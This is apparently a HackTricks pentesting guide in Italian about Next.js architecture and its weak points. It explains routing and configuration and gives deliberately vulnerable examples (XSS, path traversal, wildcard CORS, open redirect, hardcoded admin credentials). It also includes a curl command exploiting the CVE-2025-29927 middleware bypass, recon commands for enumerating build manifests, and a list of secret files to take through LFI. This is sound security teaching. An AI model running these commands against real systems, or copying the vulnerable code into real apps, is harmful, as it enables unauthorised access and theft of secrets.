NextJS
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Architettura generale di un’applicazione Next.js
Struttura tipica dei file
Un progetto Next.js standard segue una struttura specifica di file e directory che facilita funzionalità come routing, API endpoints e gestione degli asset statici. Ecco una disposizione tipica:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Directory e file principali
- public/: Ospita asset statici come immagini, font e altri file. I file qui sono accessibili al percorso root (
/). - app/: Directory centrale per le pagine della tua applicazione, layout, componenti e API routes. Adotta il paradigma App Router, permettendo funzionalità di routing avanzate e la separazione tra componenti server-client.
- app/layout.tsx: Definisce il layout root per la tua applicazione, racchiudendo tutte le pagine e fornendo elementi UI coerenti come header, footer e barre di navigazione.
- app/page.tsx: Funziona come punto di ingresso per la route root
/, rendendo la home page. - app/[route]/page.tsx: Gestisce route statiche e dinamiche. Ogni cartella all’interno di
app/rappresenta un segmento di route, epage.tsxall’interno di quelle cartelle corrisponde al componente della route. - app/api/: Contiene API routes, permettendoti di creare function serverless che gestiscono richieste HTTP. Queste route sostituiscono la tradizionale directory
pages/api. - app/components/: Contiene componenti React riutilizzabili che possono essere usati in diverse pagine e layout.
- app/styles/: Contiene file CSS globali e CSS Modules per lo styling a livello di componente.
- app/utils/: Include funzioni di utilità, moduli helper e altra logica non-UI che può essere condivisa nell’applicazione.
- .env.local: Memorizza variabili d’ambiente specifiche per l’ambiente di sviluppo locale. Queste variabili non vengono commesse al version control.
- next.config.js: Personalizza il comportamento di Next.js, incluse configurazioni di webpack, variabili d’ambiente e impostazioni di sicurezza.
- tsconfig.json: Configura le impostazioni di TypeScript per il progetto, abilitando il controllo dei tipi e altre funzionalità di TypeScript.
- package.json: Gestisce le dipendenze del progetto, script e metadata.
- README.md: Fornisce documentazione e informazioni sul progetto, incluse istruzioni di setup, linee guida d’uso e altri dettagli rilevanti.
- yarn.lock / package-lock.json: Blocca le dipendenze del progetto a versioni specifiche, garantendo installazioni coerenti tra diversi ambienti.
Lato client in Next.js
Routing basato sui file nella directory app
La directory app è la pietra angolare del routing nelle ultime versioni di Next.js. Sfrutta il filesystem per definire le route, rendendo la gestione delle route intuitiva e scalabile.
Gestione del percorso root /
Struttura dei file:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
File principali:
app/page.tsx: Gestisce le richieste al percorso root/.app/layout.tsx: Definisce il layout dell’applicazione, che racchiude tutte le pagine.
Implementazione:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Spiegazione:
- Definizione della route: Il file
page.tsxdirettamente sotto la directoryappcorrisponde alla route/. - Rendering: Questo componente renderizza il contenuto della home page.
- Integrazione del layout: Il componente
HomePageè avvolto dalayout.tsx, che può includere header, footer e altri elementi comuni.
Gestione di altri percorsi statici
Esempio: route /about
Struttura dei file:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementazione:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Spiegazione:
- Definizione della rotta: Il file
page.tsxall’interno della cartellaaboutcorrisponde alla rotta/about. - Rendering: Questo componente renderizza il contenuto della pagina about.
Rotte dinamiche
Le rotte dinamiche permettono di gestire percorsi con segmenti variabili, consentendo alle applicazioni di mostrare contenuti basati su parametri come ID, slug, ecc.
Esempio: /posts/[id] Route
Struttura dei file:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementazione:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Spiegazione:
- Segmento dinamico:
[id]indica un segmento dinamico nella route, acquisendo il parametroiddall’URL. - Accesso ai parametri: L’oggetto
paramscontiene i parametri dinamici, accessibili all’interno del componente. - Corrispondenza della route: Qualsiasi percorso che corrisponda a
/posts/*, come/posts/1,/posts/abc, ecc., sarà gestito da questo componente.
Route annidate
Next.js supporta il routing annidato, consentendo strutture di route gerarchiche che rispecchiano la disposizione delle directory.
Esempio: /dashboard/settings/profile Route
Struttura dei file:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementazione:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Spiegazione:
- Annidamento profondo: Il file
page.tsxdentrodashboard/settings/profile/corrisponde alla route/dashboard/settings/profile. - Rispecchiamento della gerarchia: La struttura delle directory rispecchia il percorso URL, migliorando manutenibilità e chiarezza.
Route catch-all
Le route catch-all gestiscono segmenti annidati multipli o percorsi sconosciuti, offrendo flessibilità nella gestione delle route.
Esempio: /* Route
Struttura dei file:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementazione:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Spiegazione:
- Catch-All Segment:
[...slug]cattura tutti i segmenti di percorso rimanenti come array. - Uso: Utile per gestire scenari di routing dinamico come percorsi generati dagli utenti, categorie annidate, ecc.
- Corrispondenza delle rotte: Percorsi come
/anything/here,/foo/bar/baz, ecc., sono gestiti da questo componente.
Potenziali vulnerabilità lato client
Sebbene Next.js offra una base sicura, pratiche di codifica improprie possono introdurre vulnerabilità. Le principali vulnerabilità lato client includono:
Cross-Site Scripting (XSS)
Gli attacchi XSS si verificano quando script malevoli vengono iniettati in siti web attendibili. Gli attaccanti possono eseguire script nei browser degli utenti, rubare dati o compiere azioni per conto dell’utente.
Esempio di codice vulnerabile:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Perché è vulnerabile: L’uso di dangerouslySetInnerHTML con input non attendibili permette agli attaccanti di iniettare script maligni.
Client-Side Template Injection
Si verifica quando gli input dell’utente vengono gestiti in modo errato nei template, permettendo agli attaccanti di iniettare ed eseguire template o espressioni.
Esempio di codice vulnerabile:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Perché è vulnerabile: Se template o data includono contenuto dannoso, possono portare all’esecuzione di codice non intenzionato.
Client Path Traversal
È una vulnerabilità che permette agli attaccanti di manipolare i percorsi client-side per eseguire azioni non intenzionate, come Cross-Site Request Forgery (CSRF). A differenza di server-side path traversal, che prende di mira il filesystem del server, CSPT si concentra nello sfruttare i meccanismi client-side per dirottare richieste API legittime verso endpoint malevoli.
Esempio di codice vulnerabile:
Un’applicazione Next.js permette agli utenti di caricare e scaricare file. La funzionalità di download è implementata sul client-side, dove gli utenti possono specificare il percorso del file da scaricare.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scenario d’attacco
- Obiettivo dell’attaccante: Eseguire un attacco CSRF per eliminare un file critico (es.,
admin/config.json) manipolando ilfilePath. - Exploiting CSPT:
- Malicious Input: L’attaccante crea una URL con un
filePathmanipolato come../deleteFile/config.json. - Resulting API Call: Il codice client-side effettua una richiesta a
/api/files/../deleteFile/config.json. - Server’s Handling: Se il server non valida il
filePath, elabora la richiesta, potenzialmente cancellando o esponendo file sensibili.
- Executing CSRF:
- Crafted Link: L’attaccante invia alla vittima un link o incorpora uno script malevolo che innesca la richiesta di download con il
filePathmanipolato. - Outcome: La vittima esegue inconsapevolmente l’azione, portando ad accesso o cancellazione non autorizzata di file.
Why It’s Vulnerable
- Lack of Input Validation: Il client-side permette input arbitrari per
filePath, abilitando path traversal. - Trusting Client Inputs: L’API lato server si fida e processa il
filePathsenza sanitizzazione. - Potential API Actions: Se l’endpoint API esegue azioni che cambiano stato (es., delete, modify files), può essere sfruttato tramite CSPT.
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Usa i percorsi scoperti (per esempio
/docs,/docs/content/examples,/signin) per guidare i test di autenticazione e la scoperta degli endpoint.
Lato server in Next.js
Rendering lato server (SSR)
Le pagine vengono renderizzate sul server a ogni richiesta, garantendo che l’utente riceva HTML completamente renderizzato. In questo caso dovresti creare il tuo server personalizzato per gestire le richieste.
Casi d’uso:
- Contenuto dinamico che cambia frequentemente.
- Ottimizzazione SEO, poiché i motori di ricerca possono eseguire il crawl della pagina completamente renderizzata.
Implementazione:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Generazione di siti statici (SSG)
Le pagine sono prerenderizzate in fase di build, risultando in tempi di caricamento più rapidi e ridotto carico sul server.
Casi d’uso:
- Contenuti che non cambiano frequentemente.
- Blog, documentazione, pagine di marketing.
Implementazione:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Funzioni Serverless (API Routes)
Next.js consente la creazione di endpoint API come funzioni serverless. Queste funzioni vengono eseguite on-demand senza la necessità di un server dedicato.
Casi d’uso:
- Gestire l’invio di moduli.
- Interagire con database.
- Elaborare dati o integrare API di terze parti.
Implementazione:
Con l’introduzione della directory app in Next.js 13, il routing e la gestione delle API sono diventati più flessibili e potenti. Questo approccio moderno si allinea strettamente con il sistema di routing basato sui file ma introduce funzionalità avanzate, incluso il supporto per componenti server e client.
Gestore di route di base
Struttura dei file:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementazione:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Spiegazione:
- Posizione: Le API routes sono collocate nella directory
app/api/. - Nomenclatura dei file: Ogni endpoint API risiede nella propria cartella contenente un file
route.jsoroute.ts. - Funzioni esportate: Invece di un singolo export default, vengono esportate funzioni specifiche per i metodi HTTP (es.
GET,POST). - Gestione delle risposte: Usa il costruttore
Responseper restituire le risposte, permettendo un maggiore controllo su intestazioni e codici di stato.
Come gestire altri percorsi e metodi:
Gestione di metodi HTTP specifici
Next.js 13+ consente di definire handler per metodi HTTP specifici all’interno dello stesso file route.js o route.ts, favorendo un codice più chiaro e organizzato.
Esempio:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Spiegazione:
- Esportazioni multiple: Ogni metodo HTTP (
GET,PUT,DELETE) ha la propria funzione esportata. - Parametri: Il secondo argomento fornisce accesso ai parametri della route tramite
params. - Risposte migliorate: Maggior controllo sugli oggetti di risposta, consentendo una gestione precisa di header e codici di stato.
Catch-All e route annidate
Next.js 13+ supporta funzionalità di routing avanzate come catch-all routes e nested API routes, consentendo strutture API più dinamiche e scalabili.
Esempio di Catch-All Route:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Spiegazione:
- Sintassi:
[...]indica un segmento catch-all, catturando tutti i percorsi annidati. - Uso: Utile per API che devono gestire profondità di route variabili o segmenti dinamici.
Esempio di route annidate:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Spiegazione:
- Deep Nesting: Consente strutture API gerarchiche, riflettendo le relazioni tra le risorse.
- Accesso ai parametri: Permette di accedere facilmente a più parametri di rotta tramite l’oggetto
params.
Gestione delle rotte API in Next.js 12 e versioni precedenti
Rotte API nella directory pages (Next.js 12 e versioni precedenti)
Prima che Next.js 13 introducesse la directory app e le capacità di routing avanzate, le rotte API venivano principalmente definite all’interno della directory pages. Questo approccio è ancora ampiamente usato e supportato in Next.js 12 e nelle versioni precedenti.
Rotta API di base
File Structure:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementazione:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Spiegazione:
- Location: Le route API risiedono sotto la directory
pages/api/. - Export: Usa
export defaultper definire la funzione handler. - Function Signature: L’handler riceve gli oggetti
req(richiesta HTTP) eres(risposta HTTP). - Routing: Il nome del file (
hello.js) mappa all’endpoint/api/hello.
Route API dinamiche
File Structure:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementazione:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Spiegazione:
- Dynamic Segments: Le parentesi quadre (
[id].js) indicano segmenti di route dinamici. - Accessing Parameters: Usa
req.query.idper accedere al parametro dinamico. - Handling Methods: Utilizza la logica condizionale per gestire i diversi metodi HTTP (
GET,PUT,DELETE, ecc.).
Gestione dei diversi metodi HTTP
Sebbene l’esempio base di API route gestisca tutti i metodi HTTP all’interno di un’unica funzione, puoi strutturare il codice per gestire ogni metodo esplicitamente per maggiore chiarezza e manutenibilità.
Esempio:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Migliori pratiche:
- Separazione delle responsabilità: Separa chiaramente la logica per i diversi metodi HTTP.
- Coerenza delle risposte: Assicurati di avere strutture di risposta coerenti per semplificare la gestione lato client.
- Gestione degli errori: Gestisci in modo appropriato metodi non supportati ed errori imprevisti.
Configurazione CORS
Controlla quali origini possono accedere alle route delle API, mitigando le vulnerabilità di Cross-Origin Resource Sharing (CORS).
Esempio di configurazione errata:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Nota che CORS può anche essere configurato in tutte le route API all’interno del file middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problema:
Access-Control-Allow-Origin: '*': Consente a qualsiasi sito web di accedere all’API, potenzialmente permettendo a siti maligni di interagire con la tua API senza restrizioni.- Wide Method Allowance: Consentire tutti i metodi può permettere agli attackers di eseguire azioni indesiderate.
Come gli attackers lo sfruttano:
Attackers possono creare siti web maligni che effettuano richieste alla tua API, potenzialmente abusando di funzionalità come il recupero dei dati, la manipolazione dei dati o l’innesco di azioni indesiderate per conto di utenti autenticati.
CORS - Misconfigurations & Bypass
Esposizione del codice server nel lato client
È facile usare codice impiegato dal server anche in codice esposto e utilizzato dal lato client; il modo migliore per assicurarsi che un file di codice non venga mai esposto nel lato client è utilizzare questo import all’inizio del file:
import "server-only"
File principali e i loro ruoli
middleware.ts / middleware.js
Posizione: Radice del progetto o all’interno di src/.
Scopo: Esegue codice nella funzione serverless lato server prima che una richiesta venga processata, permettendo operazioni come autenticazione, reindirizzamenti o modifica delle risposte.
Flusso di esecuzione:
- Richiesta in arrivo: Il middleware intercetta la richiesta.
- Elaborazione: Esegue operazioni basate sulla richiesta (es. verificare l’autenticazione).
- Modifica della risposta: Può alterare la risposta o passare il controllo al gestore successivo.
Esempi di utilizzo:
- Reindirizzare utenti non autenticati.
- Aggiungere header personalizzati.
- Registrare le richieste.
Esempio di configurazione:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Bypass di autorizzazione in middleware (CVE-2025-29927)
Se l’autorizzazione è applicata nel middleware, le release di Next.js interessate (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) possono essere aggirate iniettando l’header x-middleware-subrequest. Il framework salterà la ricorsione del middleware e restituirà la pagina protetta.
- Il comportamento di base è tipicamente un reindirizzamento 307 verso una route di login come
/api/auth/signin. - Invia un valore lungo per
x-middleware-subrequest(ripetimiddlewareper raggiungereMAX_RECURSION_DEPTH) per far diventare la risposta 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Perché le pagine autenticate caricano molte sottorisorse, aggiungi l’header a ogni richiesta (es. Burp Match/Replace con una stringa di match vuota) per evitare che gli asset vengano reindirizzati.
next.config.js
Posizione: Radice del progetto.
Scopo: Configura il comportamento di Next.js, abilitando o disabilitando funzionalità, personalizzando le configurazioni di webpack, impostando variabili d’ambiente e configurando diverse funzionalità di sicurezza.
Principali configurazioni di sicurezza:
Security Headers
Le intestazioni di sicurezza aumentano la protezione della tua applicazione fornendo istruzioni ai browser su come gestire i contenuti. Aiutano a mitigare vari attacchi come Cross-Site Scripting (XSS), Clickjacking e MIME type sniffing:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Esempi:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Impostazioni di ottimizzazione delle immagini
Next.js ottimizza le immagini per le prestazioni, ma una errata configurazione può portare a vulnerabilità di sicurezza, come consentire a fonti non attendibili di iniettare contenuti dannosi.
Esempio di configurazione errata:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problema:
'*': Permette il caricamento di immagini da qualsiasi fonte esterna, inclusi domini non attendibili o maligni. Attackers possono ospitare immagini contenenti payload maligni o contenuti che ingannano gli utenti.- Un altro problema potrebbe essere consentire un dominio dove chiunque può caricare un’immagine (come
raw.githubusercontent.com)
How attackers abuse it:
Iniettando immagini da fonti maligne, Attackers possono eseguire attacchi di phishing, mostrare informazioni fuorvianti o sfruttare vulnerabilità nelle librerie di rendering delle immagini.
Esposizione delle variabili d'ambiente
Gestire le informazioni sensibili come API keys e credenziali del database in modo sicuro senza esporle al client.
a. Esposizione di variabili sensibili
Esempio di configurazione errata:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Problema:
SECRET_API_KEY: Senza il prefissoNEXT_PUBLIC_, Next.js non espone le variabili al client. Tuttavia, se per errore viene prefissata (ad esempio,NEXT_PUBLIC_SECRET_API_KEY), diventa accessibile lato client.
How attackers abuse it:
Se variabili sensibili sono esposte al client, attackers possono recuperarle ispezionando il codice lato client o le richieste di rete, ottenendo accesso non autorizzato ad APIs, databases o altri servizi.
Reindirizzamenti
Gestisci i reindirizzamenti e le riscritture degli URL nella tua applicazione, assicurandoti che gli utenti vengano diretti correttamente senza introdurre open redirect vulnerabilities.
a. Open Redirect Vulnerability
Esempio di configurazione errata:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problema:
- Destinazione dinamica: Permette agli utenti di specificare qualsiasi URL, abilitando open redirect attacks.
- Fidarsi dell’input utente: I redirect verso URL forniti dagli utenti senza validazione possono portare a phishing, malware distribution, or credential theft.
Come gli attaccanti lo sfruttano:
Gli attaccanti possono creare URL che sembrano provenire dal tuo dominio ma che reindirizzano gli utenti a siti malevoli. Ad esempio:
https://yourdomain.com/redirect?url=https://malicious-site.com
Gli utenti che si fidano del dominio originale potrebbero navigare inconsapevolmente verso siti web dannosi.
Webpack Configuration
Personalizza le configurazioni di Webpack per la tua applicazione Next.js, operazione che può introdurre involontariamente vulnerabilità di sicurezza se non gestita con cautela.
a. Esposizione di moduli sensibili
Esempio di configurazione errata:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problema:
- Esposizione di percorsi sensibili: L’aliasing di directory sensibili e il consentire l’accesso client-side possono causare leak di informazioni riservate.
- Inclusione di segreti nel bundle: Se file sensibili vengono bundlati per il client, i loro contenuti diventano accessibili tramite source maps o ispezionando il codice client-side.
Come lo sfruttano gli attaccanti:
Gli attaccanti possono accedere o ricostruire la struttura delle directory dell’applicazione, trovando potenzialmente file o dati sensibili da sfruttare.
pages/_app.js and pages/_document.js
pages/_app.js
Scopo: Sovrascrive il componente App di default, permettendo stato globale, stili e componenti di layout.
Casi d’uso:
- Iniettare CSS globali.
- Aggiungere wrapper di layout.
- Integrare librerie per la gestione dello stato.
Esempio:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Purpose: Sovrascrive il Document predefinito, consentendo la personalizzazione dei tag HTML e Body.
Use Cases:
- Modificare i tag
<html>o<body>. - Aggiungere meta tag o script personalizzati.
- Integrare font di terze parti.
Example:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Server personalizzato (Opzionale)
Scopo: Sebbene Next.js includa un server integrato, puoi creare un server personalizzato per casi d’uso avanzati come routing personalizzato o integrazione con servizi backend esistenti.
Nota: L’uso di un server personalizzato può limitare le opzioni di distribuzione, soprattutto su piattaforme come Vercel che ottimizzano il server integrato di Next.js.
Esempio:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Considerazioni architetturali e di sicurezza aggiuntive
Variabili d’ambiente e configurazione
Scopo: Gestire informazioni sensibili e impostazioni di configurazione al di fuori del codebase.
Buone pratiche:
- Usa i file
.env: Conserva variabili come API keys in.env.local(escluso dal controllo di versione). - Accedi alle variabili in modo sicuro: Usa
process.env.VARIABLE_NAMEper accedere alle variabili d’ambiente. - Non esporre mai i segreti sul client: Assicurati che le variabili sensibili siano usate solo lato server.
Esempio:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Note: Per limitare le variabili solo al lato server, ometterle dall’oggetto env o anteporre NEXT_PUBLIC_ per esporle al client.
Useful server artifacts to target via LFI/download endpoints
Se trovi un path traversal o un’API di download in un’app Next.js, prendi di mira artefatti compilati che leak server-side secrets e la logica di auth:
.env/.env.localper secret di sessione e credenziali dei provider..next/routes-manifest.jsonand.next/build-manifest.jsonper una lista completa delle route..next/server/pages/api/auth/[...nextauth].jsper recuperare la configurazione compilata di NextAuth (spesso contiene password di fallback quando i valori inprocess.envnon sono impostati).next.config.js/next.config.mjsper esaminare rewrites, redirects e middleware routing.
Authentication and Authorization
Approach:
- Session-Based Authentication: Usa i cookie per gestire le sessioni utente.
- Token-Based Authentication: Implementa JWTs per autenticazione senza stato.
- Third-Party Providers: Integra provider OAuth (es. Google, GitHub) usando librerie come
next-auth.
Security Practices:
- Secure Cookies: Imposta gli attributi
HttpOnly,SecureeSameSite. - Password Hashing: Hashare sempre le password prima di memorizzarle.
- Input Validation: Previeni attacchi di injection validando e sanitizzando gli input.
Example:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Ottimizzazione delle prestazioni
Strategie:
- Ottimizzazione delle immagini: Usa il componente
next/imagedi Next.js per l’ottimizzazione automatica delle immagini. - Suddivisione del codice: Sfrutta gli import dinamici per suddividere il codice e ridurre i tempi di caricamento iniziali.
- Caching: Implementa strategie di caching per le risposte API e gli asset statici.
